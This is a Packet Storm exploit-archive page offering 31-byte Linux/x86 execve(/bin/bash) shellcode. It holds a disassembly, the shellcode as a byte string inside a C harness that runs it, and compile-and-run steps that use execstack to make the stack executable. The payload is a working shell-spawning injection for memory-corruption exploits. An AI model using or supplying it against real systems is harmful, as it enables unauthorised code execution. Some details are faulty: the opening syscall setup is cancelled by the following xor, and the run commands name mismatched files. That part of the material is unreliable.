exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Linux/x86 execve(/bin/bash) Shellcode

Linux/x86 execve(/bin/bash) Shellcode
Posted Sep 7, 2015
Authored by Ajith KP

31 bytes small Linux/x86 execve(/bin/bash) shellcode.

tags | x86, shellcode, bash
systems | linux
SHA-256 | 173c71f69962fc12b9cfc727b360eac922f71f7737dcd388c690f9991132a1c7

Linux/x86 execve(/bin/bash) Shellcode

Change Mirror Download
/*
---------------------------------------------------------------------------------------------------

Linux/x86 - execve(/bin/bash) - 31 bytes

Ajith Kp [ @ajithkp560 ] [ http://www.terminalcoders.blogspot.com ]

Om Asato Maa Sad-Gamaya |
Tamaso Maa Jyotir-Gamaya |
Mrtyor-Maa Amrtam Gamaya |
Om Shaantih Shaantih Shaantih |

---------------------------------------------------------------------------------------------------
Disassembly of section .text:

08048060 <.text>:
8048060: b0 46 mov $0x46,%al
8048062: 31 c0 xor %eax,%eax
8048064: cd 80 int $0x80
8048066: eb 07 jmp 0x804806f
8048068: 5b pop %ebx
8048069: 31 c0 xor %eax,%eax
804806b: b0 0b mov $0xb,%al
804806d: cd 80 int $0x80
804806f: 31 c9 xor %ecx,%ecx
8048071: e8 f2 ff ff ff call 0x8048068
8048076: 2f das
8048077: 62 69 6e bound %ebp,0x6e(%ecx)
804807a: 2f das
804807b: 62 61 73 bound %esp,0x73(%ecx)
804807e: 68 .byte 0x68
---------------------------------------------------------------------------------------------------

How To Run

$ gcc -o bash_shell bash_shell.c
$ execstack -s local_bash
$ ./ local_bash

---------------------------------------------------------------------------------------------------
*/
#include <stdio.h>
char sh[]="\xb0\x46\x31\xc0\xcd\x80\xeb\x07\x5b\x31\xc0\xb0\x0b\xcd\x80\x31\xc9\xe8\xf2\xff\xff\xff\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68";
void main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) sh;
(int)(*func)();
}
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close